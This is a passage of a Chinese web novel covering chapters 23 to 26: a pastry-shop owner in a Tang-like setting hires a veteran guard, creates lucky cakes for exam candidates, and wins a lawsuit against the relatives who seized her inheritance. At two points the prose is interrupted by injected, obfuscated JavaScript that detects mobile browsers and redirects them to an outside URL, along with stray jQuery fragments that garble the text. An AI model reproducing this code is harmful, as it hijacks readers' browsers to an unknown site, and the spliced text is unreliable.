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他顿了顿，看到裴清梧并无嫌弃之色，才继续道：“伤退之后，他家境贫寒，也无甚亲族可靠，一直在城里做些零工糊口，我曾想安置他，他却不愿多受恩惠，若论看家护院、震慑宵小，他的本事和经验绰绰有余。且他性子沉稳，不聒噪，守规矩得很。裴东家若是不嫌弃他外貌有缺，此人绝对是上佳之选。” 裴清梧听得认真，心中已有了计较。 上过战场的老兵，心志坚韧，经验丰富，比寻常的护院可靠太多。 至于瞎了一只眼，那又如何，只要人品可靠且能力胜任，这点缺陷算不得什么。 “校尉推荐的人，奴家自然信得过。”裴清梧展颜笑道：“不知石壮士现在何处？可否一见？” 赵叙见她爽快答应，也颇为高兴：“他就在城西赁了间小屋住着。我这就让人去唤他过来？” “不必劳烦校尉派人，若是方便，我随校尉走一趟便是。”裴清梧急于解决此事。 “也好。”赵叙颔首，又看了一眼裴清梧身后的顾恒。 少年虽然沉默，但目光始终落在裴清梧身上，带着毫不掩饰的护卫姿态。 约莫半个时辰后，在城西一间简陋却收拾得干净整洁的小屋里，裴清梧见到了石大勇。 此人果然如赵叙所言，身材高大魁梧，骨架粗壮，即便穿着浆洗发白的旧布衣，也能感受到衣服下蕴藏的力量。 他约莫四十岁上下，饱经风霜的脸上刻着深刻的皱纹，左边眼眶处戴着一个简单的黑色皮质眼罩，露出的那只右眼却异常锐利明亮。 赵叙说明来意，石大勇那只独眼看向裴清梧，抱拳行礼，声音低沉沙哑：“小人石大勇，见过裴东家，谢赵校尉举荐，亦谢裴东家不嫌，若东家肯收留，小人定当恪尽职守，以命相护。” 裴清梧心中满意，问了几个关于职责和起居的问题，石大勇的回答简洁明了，条理清晰。 “好。”裴清梧不再犹豫，直接拍板：“从今日起，你便是我酥山小集的护卫，包吃住，月钱按行价再加两分，你看可行？” 石大勇那只独眼中闪过一丝光亮，显然对这份待遇十分意外和感激：“小人愿意！多谢裴掌柜！” 事情就这样定了下来。 回去的路上，顾恒沉默地走在裴清梧身侧稍后的位置，目光不时掠过旁边那高大魁梧的身影，紧抿着唇，眼神复杂。 裴清梧自然察觉到了身边小护卫的低气压，心下好笑又有些无奈。 她悄悄伸出手，像安抚炸毛的小兽般，轻轻揉了揉顾恒的头顶，低声道：“别绷着脸，石壮士是可靠的前辈，你们以后要好好相处，你永远是我最信任的第一个护卫，记住了？” 顾恒被揉得微僵，耳根迅速泛起红晕，那点闷气似乎被这亲昵的动作揉散了大半。 他低低地“嗯”了一声，紧绷的肩膀才算放松了下来。 23. 新的主意 “石大哥，目前铺子地方不大，还得委屈您，跟阿恒挤一挤。” 对于这种曾经上战场抛头颅洒热血的老兵，裴清梧是很敬佩的，尤其石大勇是真真切切折了一只眼睛的。 石大勇不以为意，只摆摆手道：“东家不必这样客气，我是个粗人，哪里都能睡，这条件啊，已经很好了。” 他的行李也并不多，不过一卷铺盖和一些随身用品，顾恒一直冷眼旁观着，见他年纪大了，也不如自己好看，心下那点子芥蒂也消得一干二净，主动上前帮他收拾。 一切安顿妥当后，裴清梧把所有人都叫来，让石大勇一一认过。 “这是银岚，平日负责咱们的吃食，她做的羊汤可好喝了。” “这是茜桃，平日里负责招呼客人，售卖点心。” “这是锦娘，负责收拾院落，浆洗换下来的衣物什么的。” “这是五娘和小意，都是铺子里的学徒，刚拜师不久。” “这是念慈，这是明义，都是锦娘的孩子，念慈还小，平日里便带带弟弟，学着读书，偶尔来帮忙的。” “至于阿恒，石大哥想必早已认识了。” 将铺子中人一一介绍给石大勇后，裴清梧又给别人引见了他：“石大哥呢，曾经是陇右军中士卒，赵校尉麾下的，承蒙不嫌弃，到酥山小集来做护卫，和阿恒平日里忙的都一样。” 眼见人齐全，彼此相处的也还不错，裴清梧便决定，请他们去太白楼吃顿好的。 以后酥山小集做起来，这些人，可就是元老级别的了。 “你们先看着铺子，我去找李娘子。” 太白楼多为达官贵人提供宴席，花费不小，虽说裴清梧现在也不算差钱那一挂了，可还是能省则省。 毕竟，刚刚买了房…… “我陪东家同去。”顾恒忙道。 “好。” 上门拜访，少不得带礼物去，如今她和李引珠也算相熟了，自然知道她的喜好——李引珠擅长且喜爱调香，捣鼓各种各样的香料。 寻常胭脂水粉、现成香饼自然入不了她的眼，裴清梧略一思忖，心里便有了主意。 “走，阿恒，咱们去西市转转。”裴清梧招呼顾恒。 西市上胡商云集，异域奇珍汇聚，香料更是其中最负盛名的品类之一。 二人径直来到一家门脸不大却布置雅致的胡商香料铺子前，铺内香气氤氲，各色形状奇特的香料、油脂、干花分门别类地装在精巧的木匣或素釉瓷罐中。 裴清梧的目光扫过那些标注着“龙涎”、“沉水”、“甲煎”等名贵香料的锦盒，最终落在铺内侧几个稍显朴素的青瓷小罐上。 她指着一罐色泽金黄、质地细腻的树脂状小块问道：“店家，这安息香，可是产自波斯的上品？” 那胡商见裴清梧识货，眼中精光一闪，带着些许波斯口音的官话也热情起来：“小娘子好眼力！这是刚从波斯萨珊故地运来的上好安息香，香气醇厚清甜，焚烧时烟色洁白，最能定心安神。配香时融和百香，是再好不过的基料。” 裴清梧点点头，又指着旁边一罐深褐色、散发着奇异辛甜气息的油膏问：“那这罐可是苏合香脂？” “正是！此乃大食国①所产上等苏合香油，一滴便能使满室生香，更是调制名贵合香不可或缺的引子，小娘子真乃识货之人啊。”胡商竖起大拇指夸赞。 裴清梧心中满意，安息香和苏合香在这个时代，都属于上乘但并非最顶尖奢侈的香料，价格适中，正适合她目前“能省则省”的心思。 更重要的是，这两样都是调香师常用的基础香料，尤其对新奇配方有追求的调香者来说，品质上乘的原料远比成品更难得、更显心意。 “就要这两样，各称一两，劳烦店家分装好。”裴清梧爽快地道。 “好嘞。”那胡商麻利地称好香料，小心地用洁净的桑皮纸衬垫，放入两个拳头大小的素面青瓷小罐中，又以细麻绳仔细捆扎罐口，以防走味。 顾恒在一旁默默看着裴清梧挑选、付钱，眼中闪过一丝了然，他接过店家递来的两个小罐，轻轻嗅了嗅空气中残留的馥郁香气，低声道：“东家选的极好，安息香沉稳，苏合香灵动，想来李娘子必会喜欢这调香的上佳材料。” 到了秦州别驾府，说明来意，又给门房塞了钱后，裴清梧顺利地见到了李引珠，只顾恒因是外男，被留在外边。 尚未进门，一股清冽悠远的复合香气便幽幽传来，沁人心脾，丫鬟正要通报，裴清梧却轻轻摆了摆手，示意噤声，自己悄然停在雕花门扉边，向内望去。 只见李引珠身着初春时节的薄罗衫子，外罩一件鹅黄色绣缠枝莲纹的半臂，下系郁金十二破裙，青丝松松绾了个坠马髻，斜簪一支小巧的金步摇，几缕碎发垂在颊边，随着她专注的动作微微晃动。 她正跪坐在一张矮矮的檀木方几前，几上错落摆放着各式精巧器具，有白瓷小碟、玉杵玉臼、镶银小秤、细罗筛、还有数个敞着口的琉璃罐与青瓷罐，内里盛着各色香料粉末油脂，或是色泽各异的干花。 此刻，她正凝神于一只越窑青瓷香炉前。 炉中香灰已压得平整如镜，其上用一枚精巧的银印模细细压出连绵的云纹，李引珠左手拈起一小片薄如蝉翼的云母片，右手执一根细银簪，小心翼翼地从一个玛瑙小碟中挑起一点极其微小的、闪烁着奇异光泽的深蓝色粉末，屏息凝神，将其均匀地铺洒在云母片上。 接着，她放下银簪，拈起一枚小巧的银夹，从另一个瓷碟中夹起一小块预备好的香料丸子，稳稳地置于铺了蓝色粉末的云母片之上。 做完这一切，她才轻轻舒了口气，放下工具，拿起一旁温着的小铜壶，向香炉一侧预留的小孔内缓缓注入少许热水。 水汽蒸腾间，香丸底部的云母片受热，那一点蓝色粉末瞬间化作氤氲的蓝色烟气，缭绕着中央的香丸，丝丝缕缕飘散开来，与香丸本身散发出的暖甜花果香气奇妙地交融在一起，香气弥漫开来，仿佛令人置身春日清晨的山谷，既有晨露的清凉，又有初绽花朵的芬芳暖意。 裴清梧看得入神，直到那蓝色烟气缓缓散尽，只余悠长的暖甜余韵萦绕室中时，她才忍不住轻轻击掌赞叹：“妙哉妙哉！引珠娘子于香道，当真已臻化境，观烟如画，闻香入境！” 李引珠被这突如其来的声音惊得一颤，倏然抬头，见是裴清梧立在门边，脸上瞬间绽开惊喜的笑容：“呀！清梧何时来的？都怪我太入神了，竟未察觉！快请进来！” 她连忙起身相迎，招呼丫鬟：“快给裴东家上茶，把新得的樱桃毕罗和玉露团也端些来！” 丫鬟应声退下准备。 裴清梧笑着走进精舍，顿觉被那暖甜的余香温柔包裹，在李引珠对面跪坐下来，由衷赞道：“方才那一幕真如仙家妙手，尤其是那蓝色的烟气，衬着香丸，意境绝佳……姐姐这香唤作何名？是何用意？” 李引珠被夸得有些赧然，眼中却闪烁着亮光，显然对自己的作品也很是满意。 她指着香炉道：“此香，我唤它‘春山晓’。方才妹妹所见那蓝色，是特意寻了些深海贝壳煅成的细粉，取其‘天色破晓’之意。这香丸则是用沉水香作底，调和了梅花、早桃的冷香，又佐以春茶嫩芽和松针的清气，意在摹写初春山间清晨，残雪未消、新蕊初绽，寒气中已蕴暖意，清冽里暗藏生机的景致。” 她顿了顿，笑道：“这蓝色烟气造景之法，我也是近来才琢磨出来的，让清梧见笑了。” 看着那香炉，裴清梧倒来了兴致：“引珠娘子精通香道，不知可否为我解惑，就是，若我想调制出一种模拟点心味道的香，可行不可行？” 现代的面包店中，会使用特别的香氛，营造出面包刚出炉时的那股甜香，勾搭顾客进店选购。 那么，在古代，她是否也可用这种法子，作为自己的点心铺吸引人的手段之一。 李引珠正爱不释手地把玩着她送的香料，闻言一愣：“你做生意要用？” 裴清梧笑道：“引珠果然是聪明人。”< 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裴清梧凑近了些：“清梧收了两个徒弟，今日，又新得了个护卫，想在太白楼设个小宴，只是那里的花销……” 她抿了抿唇：“不知引珠可否方便修书一封，替我美言几句，求你舅父打个折扣？实在感激不尽。” 说完，她双手合十，眼巴巴地望着李引珠。 李引珠先是一愣，随即“噗嗤”一声笑了出来，手指虚点着裴清梧：“你呀你呀！我道你专程送香料来，是真惦记我的香道呢！原来真正的伏笔在这儿埋着？好个奸猾的裴东家！真是‘项庄舞剑，意在沛公’！” 她笑得花枝乱颤，金步摇簌簌作响：“罢了罢了，看在你这两罐上品香料，这忙我帮了！” 她当即吩咐丫鬟铺纸研墨，提笔一气呵成，再盖上自己一枚小巧的私印。 “拿去给柜台掌事的，舅父见了自会明白。”她将信笺递给裴清梧，眼中笑意未减：“下次再敢拿香料当敲门砖，看我不敲你的头！” 裴清梧欢天喜地接过信，再次道谢，带着候在门外的顾恒，又接上铺子里的其他人，直奔太白楼。 有了李引珠的书信，太白楼的掌事果然格外客气。 裴清梧一行人被引至二楼一处安静的雅间。菜肴上桌，引得众人眼睛发亮。 胡麻炊饼、驼峰炙肉、金齑玉脍，浑羊殁、羊肚羹，并几碟时令的清炒鲜蔬，主食是粒粒分明、油润喷香的青精石斛饭，配上绿蚁酒足以慰劳众人。 席间气氛融洽。石大勇初时有些局促，但在众人的热情下，也渐渐放松，讲述了几句早年陇右的风沙往事，引得众人感叹。 顾恒一边听，一边细心地将烤得最焦香的炊饼掰开，放在裴清梧面前的碟子里。 景象和乐融融，裴清梧又吃了两杯酒，眼睛都有些迷离。 有安身立命的点心铺子，有侍女，有婆子，有学徒，有护卫……这样滋润的日子，拿什么都不给换。 酒足饭饱归家后，众人都困了，各回房睡觉，只裴清梧独站在静谧的庭院中，仰望星空，心中盘算着店内生意。 说来，许久未上新店内点心了。 这样想着，她目光不经意锦娘母子三人的厢房，一盏小小的油灯在夜色中显得格外明亮，将念慈埋头苦读的剪影映在窗纸上。 念慈自有机会读书，便分外刻苦，这个时候都不睡。 裴清梧心头蓦地一动，似乎，到了科举的中央省试阶段。 此时科举尚未发展成熟，但也有一套标准流程了，先是由州县政府组织进行乡试，合格者称“乡贡进士”或“举人”，第一名称“解元”，州府于每年十月将名单报送尚书省。 次年春季，尚书省就会在长安，主持举行省试，及第者称“进士”，但仅获出身资格，仍需通过吏部考核方可授官。 算算日子，确实快到今年的省试了，已有不少通过乡试的秦州学子，在收拾行囊，预备前往长安。 裴清梧激动地一拍大腿——她知道要做什么新点心了，定胜糕！ 24. 夺回遗产 这念头甫一冒出来，便如春芽破土，瞬间蓬勃生长。 第二日一早，裴清梧便准备好所有材料，唤来正在一边练习的沈五娘和于意。 正巧，也是个让她们学习的好机会 “师傅有新点子了？”沈五娘眼睛一亮，拍掉手上沾着的粟米粉，凑了过来。 于意紧随其后，安静地站在一旁，眼神里也满是好奇。 “正是，眼见省试在即，秦州城的举子即将前往长安应试，左右这几日出发，我们便做定胜糕。” “定胜糕？”沈五娘眨眨眼：“听着就吉利！怎么做？” 裴清梧挽起袖子，净了手，走到案板前：“取上好的糯米来，细细筛过，取其最细的粉。” 于意闻言，立刻手脚麻利地去舀米筛粉。 裴清梧又吩咐沈五娘：“五娘，去取些粳米，比例二八即可，再加些新碾的麦粉，让口感更松软些。” 材料备齐，裴清梧亲自示范：“看好了，这米粉是根基，须得轻柔对待，先铺一层在盆底……” 说话间，她白皙的手指轻柔地拨弄着雪白的米粉。 “然后，糖霜也要磨得极细，溶水化开，浓稠适中，不可过稀，也不能结块，就这样一点点浇进去，同时用手慢慢搓拌，切记不可揉捏，方能得松软蓬松之态。” 沈五娘在一旁，学着师父的样子，小心翼翼地将糖水融入米粉中，搓拌间力求均匀。 于意则在一旁仔细调和着比例稍有不同的另一份米粉，预备做糕顶。 “师傅，光白色怕是不够喜庆哦。”沈五娘道。 裴清梧赞许地点头：“说得好，那我们取些红曲米来，研成细末。” 她取过一部分拌好的米粉，调入红曲粉，雪白瞬间晕染成娇艳的桃花色。 “这便是寓意鸿运当头了。” 接下来是入模，裴清梧拿出几个新制的雕花枣木模具，形状有象征“必定”的笔锭如意，也有象征“夺魁”的魁星点斗。 “模具内侧要薄薄刷一层熟油，这样做好之后，才方便脱模。”她将白色的米粉仔细填入模具底部，压实填平，再覆上那层艳丽的红粉。 最后轻轻刮平，覆上屉布。 蒸锅的水早已滚沸，氤氲着热气，裴清梧亲自将模具放入蒸笼：“火候是关键，旺火蒸透，约莫一炷香的功夫，火太急则外熟内生，火太缓则失了那股松软劲道。” 等待的间隙，裴清梧看着两个专注的徒弟，温言道：“这定胜糕，要做给远赴长安的学子们。不仅求一个‘必定得胜’的口彩，更要这入口即化的绵软清甜滋味，能稍稍抚慰他们离乡背井的愁绪和临考的紧张，让他们知道，家乡有许多人，在盼着他们功成名就。” 蒸腾的水汽模糊了窗棂，甜香丝丝缕缕弥漫开来。 时间一到，裴清梧利落地揭开笼盖。 热气扑面而来，夹带着浓郁的米香与甜香，模具中的定胜糕已悄然成型，雪白的糕体托着粉红的糕顶，花纹清晰饱满，色泽诱人。 “成了！”沈五娘惊喜道。 于意眼中也满是笑意，小心翼翼地拿起一块刚脱模的糕，触感绵软又带着韧劲，预示着它口感也会很好。 正在此时，前头正在拆卸门板的顾恒走了过来，面色很不好：“东家……” “怎么了？是前头谁给你委屈受了？”裴清梧抬起手腕，擦了擦额角的汗珠，带着笑询问道。 “才不是。”顾恒道。 他明显是憋了一口气，脸颊两边圆鼓鼓的，像生了气的河豚。 “那是……” “门口来了两个无赖，说是东家的叔父和婶娘，我说我们东家没有什么亲戚，可他们竟赖着不走！” 裴清梧一听，便知是发生什么了。 当日她将前婆婆和小叔子告上公堂，以求脱离夫家，这事闹的很大，她还纳闷过，按原主记忆中，她叔父婶娘那个尖酸刻薄的样子，怎么从未上门来闹过呢。 如今这个时机，倒算得刚好。 酥山小集起来了，离做大做强是临门一脚了，这个时候上门摘桃子，既规避了风险，还不用经历创业初期的艰难。 可真是…… 铺子里的其余人自然知道裴清梧的事，闻言纷纷面露不平之色。 “师父，这俩人怎生这般不要脸？叫石大哥把他们打出去好了！”沈五娘愤愤不平道。 裴清梧抬手制止：“无妨，我出去看看。” 本朝以孝治天下，连圣人尚讲究孝顺，更别提升斗小民了，无论如何，这原身是她的叔父婶娘抚养大的，光天化日之下叫人把他们打出去，到底是不好看。 擦了擦手上的粉后，裴清梧走了出去。 门前果站着一对风尘仆仆的夫妇身影，男的约莫四十多岁，穿着半旧的细麻圆领袍，颧骨略高，眼神都透着精明；女的穿着靛蓝印花襦裙，头上插着素银簪子，脸上带着长途跋涉的疲惫，但更多的是看到裴清梧和这铺子规模时，骤然亮起的贪婪光芒。 正是原身的叔父裴仲礼和婶娘周氏。 还未等裴清梧说什么，周氏便几步上前，拔高的声音带着责备和探究：“哎哟喂，他们说的裴东家，还真是你这丫头！你闹将了那么一场，非要和孙家和离，就是来做这等低贱的商户？裴家的脸面都让你丢尽了！你阿爷阿娘要是泉下有知……” 她故意没说完，留下令人难堪的沉默。 裴仲礼则沉着脸斥责：“三娘，你这成何体统！一个失了丈夫的新妇，独自在外抛头露面做营生？简直胡闹！还不快收拾东西，跟我们回家去！家里难道还短你一口饭吃不成？” 裴清梧只平静地问道：“叔父婶娘上门寻来，所谓何事？” 周氏便撇了撇嘴，脸上那点虚假的关切瞬间褪得干净，尖声道：“找你何事？还不是为你好！你在孙家闹得人尽皆知，那刘老虔婆前日寻到我们家，哭天抢地说你克死她儿子还不知好歹，我们当叔婶的，脸上就有光了？” 她上前一步，伸手就要去扯裴清梧的胳膊，却被侧身避开，登时恼了，斥道：“你以为离了孙家便是逍遥了？一个小娘子，年纪轻轻守了寡，无依无靠，还抛头露面做这等市井买卖，成何体统？传扬出去，裴家的脸面往哪里搁？！” 裴仲礼在一旁假惺惺地捋须叹气，接过话头：“三娘，你婶娘也是急话，你一个女儿家做什么生意？叔父替你寻了个好去处……” 不顾裴清梧暗暗翻白眼，他压低声音：“咱们老家，当亭县衙门的王司户，你是知晓的吧？人家是本县积年的老吏，家底殷实，颇有体面，只是年齿稍长了些，有意纳一房良妾，我看你去了正相宜。” “为妾？”闻言，裴清梧看向他的目光瞬间冷冽无比：“叔父此言，可是当真？” “自然是真！”周氏抢声道，脸上堆起得意的笑纹：“那王司户可是允 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着，她便不再搭理裴仲礼夫妇。 他二人被这番油盐不进的模样气得浑身发抖，周氏欲待上前撕扯，却被跳出来保护裴清梧的顾恒吓退。 裴仲礼也伸手拦她，他知晓，这丫头如今骨头硬了，又通晓律法，强逼怕是难成，不如暂且退去，另作图谋。 “好！好得很！”裴仲礼咬着后槽牙，从齿缝里挤出话来：“你既如此执拗，休怪我们做长辈的不念骨肉亲情！你就在此做你的营生，总有你悔青肠子那一日！” 言罢，他拽着犹自骂不绝口的周氏，气咻咻地出了后院。 “东家……”顾恒担忧地问道。 裴清梧摆手：“无妨，我不怕他们做什么，正好，我也有笔账，要和他们算算。” 《户令》明确规定，父母亡故，若有兄弟，分家时，在室女可获得未婚兄弟的聘财一半，然若户绝，在室女可继承全部财产。 原身四岁丧父，六岁丧母，没有旁的兄弟姊妹，是以按律法，她是可以继承父母全部财产的，裴家虽算不上大富大贵，可留下来的黄白之物，也足以养活一个弱质女子，只是被裴仲礼尽数侵吞，最后，也只给了些寒酸东西作嫁妆，把她推进火坑。 原身性子温吞怯懦，受了欺负也不敢多说什么，但她裴清梧可不是，换了时代怎样，她一样不会受旁人欺负。 正巧，也是个机会，能替原身夺回她该有东西的机会。 25. 讨回公道 中国人办事，讲究一个吉利。 比如上小学的时候，每逢考试，裴清梧总要虔诚地吃上一个油条两个鸡蛋，寓意考满分。 再比如，少壮不努力，老大到各个许愿视频底下接接接…… 连现代人都求这样的彩头，古人更不用说了。 更何况这定胜糕颜色喜庆，松软若初雪盈盘，入口即化，温润绵糯，齿颊间悄然弥散开新碾米麦之清香，味甘而不腻，质软而不失筋骨，实在是上等佳品。 裴清梧定价也合理，取个彩头而已，正好薄利多销。 是以，这定胜糕上架后，便被学子们一扫而空。 除去本钱，净赚了近百文，可抵得上寻常人家几日的嚼裹。 除学子外，另有只是冲着酥山小集糕点名头的来者，排队也没有买着，便解囊预订，说好几日后来取。 “师父，咱们家这铺子可真赚钱啊。” 要闭店的时候，沈五娘算着今日的进账，乐呵呵道。 她的爷娘原是在秦州西市买豆花的，从小沈五娘便跟着他们出摊，学得一手算账的好本事。 她家豆花干净好吃，所以生意并不差，但到底小本经营，哪里比得上酥山小集的进账？ “会越来越赚钱的。”裴清梧笑：“等你们出了师，我还会在别处开分店，让你们去做掌柜的。” “真的？” 沈五娘和于意还未来得及高兴，便有安业坊坊正领着两个衙役上门。 “裴东家，你叔父裴仲礼并婶娘周氏，已在衙门击登闻鼓递了状纸，告你忤逆不孝，不听尊长教诲，有悖人伦，我等奉使君之命，传你明日辰时初刻上堂应诉。” 裴清梧心头一凛，随即冷笑，果然来了。 因着早已料到，她神色平静，对坊正和衙役叉手一礼：“有劳坊正，辛苦两位公人，妾身明日必准时到堂。” “那两个老货怎么这样！” 坊正和衙役走后，茜桃气红了一张脸：“分明是他们侵吞了东家爷娘留的遗产，还让东家嫁了个病秧子，若不是东家自己有本事，早被磋磨死了！” 不是早被，是已经。 真正的裴三娘，已经在那日复一日的欺凌和恐惧中，芳魂悠悠，随了爷娘一同去了，才让她这个来自异世界的人占了身子。 她没资格替真正的裴三娘原谅那些人，且她有本事，让那些人为自己的行为付出代价！ “放心吧，他们占不了我的便宜，明日公堂之上，我要他们好看！” 翌日，秦州州府。 赵珏端高坐堂上，裴仲礼与周氏跪在左侧，一副悲愤欲绝的苦主模样，口中不住絮叨着“家门不幸”、“侄女不孝”，裴清梧则安静地跪在右侧。 见此情形，赵珏一拍惊堂木：“肃静！裴仲礼，你夫妇状告侄女裴清梧忤逆不孝，可有实据？” 裴仲礼立刻叩头道：“回禀使君，小人夫妇乃此女嫡亲叔婶，她父母早亡，是小人含辛茹苦将其养大，为其婚配孙家，岂料其不安于室，闹得被孙家休弃，又不听规劝，执意抛头露面操持贱业，小人夫妇为其前程计，苦心寻得当亭县王司户愿纳其为良妾，聘礼丰厚，实乃上好归宿……然此女悍然拒婚，出言顶撞，全然不念养育之恩，实乃大不孝！恳请使君严惩，以正孝道人伦！” 周氏在一旁连连叩首附和，挤出几滴眼泪。 “裴清梧，你有何话说？”赵珏转向裴清梧。 裴清梧从容叩首，声音清朗。 “使君容禀，妾身不敢认此忤逆之罪……其一，妾身自立女户，乃是使君前些日子亲判，文书具在，已脱宗族拘管，婚配自主，叔父婶娘既非父母，亦非祖父母，依《户婚律》，无权为妾身主婚。” “其二，王司户欲纳妾身为妾，然《户令》有云：‘妾乃贱流，良人不得为妾’，妾身乃良人家女，叔父婶娘收受二十贯聘财，强逼良家女为妾，此乃触犯《贼盗律》之略卖良人罪。” “其三，孝道之要，在于敬顺，更在于父母慈、子女孝，叔父婶娘名为养育，实则侵吞妾身父母遗产在先，又将妾身草草发卖于孙家换取聘财，妾身父母亡故时，家中有宅院一座，薄田十亩，并浮财若干，依《丧葬令》及《户令》，妾身为独女，父母亡故即属户绝，在室女当承分全部资产。然叔父接管后，仅以粗布两匹、铜钱百文便将妾身嫁出，父母遗产尽数被其霸占。” “此等行径，何谈慈养？妾身不忿其欲二次发卖，拒婚自谋生路，何来不孝？恳请使君鉴！” 裴清梧条理清晰，句句引律，掷地有声，赵使君听得连连颔首，他当然记得裴清梧的事。 命师爷将裴清梧自立女户的文书及之前孙家纠纷的记录翻出来后，赵珏又传唤了当亭县裴家老宅所在的里正及几位老邻作证。 里正证实，裴清梧父母去世时，确实留有宅院和田产，后来均被裴仲礼变卖或自用，而裴清梧出嫁时，嫁妆确实极为寒酸。 几位老邻也证实，周氏平日对裴清梧颇为苛待。 堂下，裴仲礼和周氏早已面如土色，汗出如浆，周氏更是瘫软在地。 赵珏惊堂木再响，声音威严：“裴仲礼、周氏！尔等侵吞孤侄女父母遗产在先，违背律法，强行为其主婚，更收受钱财欲逼其良家女为妾，触犯略卖良人之罪！又妄告侄女忤逆不孝，实属诬告！数罪并罚，岂能轻饶！” “侵产之罪，依《杂律》‘坐赃致罪’条及《户令》，判令裴仲礼夫妇即刻归还侵吞裴清梧之父母遗产，由州府衙户曹佐吏协同里正，核查当年资产簿册，估算现值，限期一月内将折算钱帛如数交付裴清梧。” “妄婚略卖之罪，裴仲礼夫妇强逼良家女为妾，虽未遂，然动机明确，行为已构成略卖良人为妻妾子孙，按《贼盗律》减一等论处，判裴仲礼徒二年半，周氏徒二年，夫妻同罪，妻可减一等。念其年迈，准其纳铜赎刑，然需受笞刑以示薄惩，判夫妇各笞三十！” “诬告之罪：依《斗讼律》‘诬告反坐’原则，诬告裴清梧忤逆，属十恶之不孝，反坐其罪，忤逆父母流二千里，念其诬告未成且前罪已重判，此罪并入前刑，加重赎铜数额及笞刑，终判裴仲礼、周氏各纳铜百斤，并各加笞二十，合前共笞五十。 衙役应声上前，将早吓得魂飞魄散的裴仲礼和周氏拖至堂下，剥去外衣，露出脊背。 刑杖带着风声落下，“啪！啪！”之声伴随着夫妇二人杀猪般的惨嚎响彻公堂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308733|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>五十笞毕，两人后背已是皮开肉绽，瘫软如泥，涕泪横流，哪还有半分之前的嚣张气焰。 裴清梧平静地看着这一幕，心中默默念道：三娘，你该得的公道与家产，今日总算替你讨回了些许。 赵使君又温言对裴清梧道：“裴家娘子，你自立女户，谋生有道，循法守礼，并无过错，侵产之资，衙门自会为你追索，退堂！” “谢使君明断！”裴清梧深深一拜，起身时，腰背挺得笔直。 说起这打板子，也是大有学问。 劳动人民的智慧是无穷无尽的，那些拿到打板子资格的衙役们，会私底下苦练相关技术，熟能生巧之后，这个中门道就显现出来了。 同样都是挨打，使了银子的，也只看着血肉模糊，实际上抬回家敷上两片膏药，略略养几天便能大好； 没使银子，又得罪了人的，一顿板子下去，当场一命呜呼，也是有的。 很巧的是，如今裴清梧，还真不算缺钱。 上公堂之前，她就暗地里给负责打板子的衙役塞了钱，要他们好好关照裴仲礼夫妇。 衙役大哥们也都是爽快人，收了钱办事，打得裴仲礼夫妇几乎送掉了半条命。 裴清梧冷眼瞧着，记忆里闪回了原身幼时的记忆。 阴暗潮湿的灶房角落里，小小的裴三娘蜷缩在冰冷的柴堆上，腹中饥鸣如鼓。 那是她爷娘头七刚过，叔父一家搬进祖屋的第二日，周氏嫌她碍眼，克扣饭食已是常事，那晚只剩半碗冰冷的粟米粥，还被堂弟故意打翻在地。 她饿得浑身发冷，想偷偷捡拾散落的米粒，却被周氏逮个正着，劈头盖脸一顿笤帚疙瘩，骂她“馋痨饿鬼”、“晦气扫把星”，逼她跪在冰冷的地上舔干净，直到她小小的身子冻得几乎失去知觉。 冬日里，河水刺骨，周氏逼她洗全家人的厚重衣物。那 双本该稚嫩的小手浸泡在冰水中，很快便冻得通红肿胀，布满裂口，渗着血丝。 稍慢了些，周氏的尖酸刻薄便如冰锥般刺来：“懒骨头！吃白食的赔钱货！洗不干净便别想吃晚饭！” 寒气侵入骨髓，让她夜夜咳嗽不止，却连一口热水都难求。 裴仲礼对此视若无睹，只说她“娇气”、“不懂事”，从未想过给她添一件冬衣。 更过分的，她曾偷偷藏起亡母留下的一支素银簪，那是她唯一的惦念，却被周氏搜出，强行夺走时狠狠拧着她的胳膊，留下了青青紫紫的淤痕。 也许后来要嫁给孙简的时候，这个可怜的女孩子内心是庆幸的，是期盼的，想着可以脱离苦海，开始新的人生。 谁知，麻绳专挑细处断，噩运专找苦命人呢…… 眼见裴仲礼夫妇快被打死了，裴清梧不动声色地朝衙役点了点头。 不管怎么说，公堂上打死了人，终归不好。 一切办妥之后，这对恶人夫妻如同被废弃的麻袋一般，瘫软着被拖了出去。 目睹了这一幕后，裴清梧心情大好，离开的时候，还不由自主地哼起了歌。 “裴东家这是遇上什么喜事了？这么高兴？” 听见熟悉的声音，她一转头，赵叙就站在那里，含笑看着她。 26. 微微醋意 “裴东家这是遇上什么喜事了？这么高兴？” 裴清梧倒也不跟他藏着掖着，大大方方地说：“哦，是曾经欺负过我的叔父婶娘挨了揍，我心里畅快。” 赵叙击掌而笑：“裴东家倒是个爽快人。” “当然要爽快，昔年他们欺负我不过是个孩子，抢走了我的东西，还苛待于我，曾经我没有办法，如今有了，自然要一一讨回来的。” 她才不要以德报怨，只要大嘴巴子抽小人。 “听说，我阿爷判决，你爷娘留下的田产房屋，尽数还给你了？” “是这样。” “这是好事啊，要不，我请裴东家吃顿酒菜，以表庆祝。” 如今和赵叙也算相熟了，只是请吃顿饭的话，裴清梧倒不会拒绝，何况赵叙有钱，去的地方也都是好地方，跟着蹭一顿好的，倒也不错。 但今日她出来，铺子里的人都是忧心忡忡的，她总得回去，跟人家报个平安。 赵叙看出了她心中所想，道：“要不，东家先回铺子一趟，这样的喜事，也总得跟伙计们说。” “好，那校尉稍等。” 裴清梧先行回了酥山小集，将公堂上的事略略与众人一说，尤其着重描写了一下，挨板子时裴仲礼夫妇的狼狈。 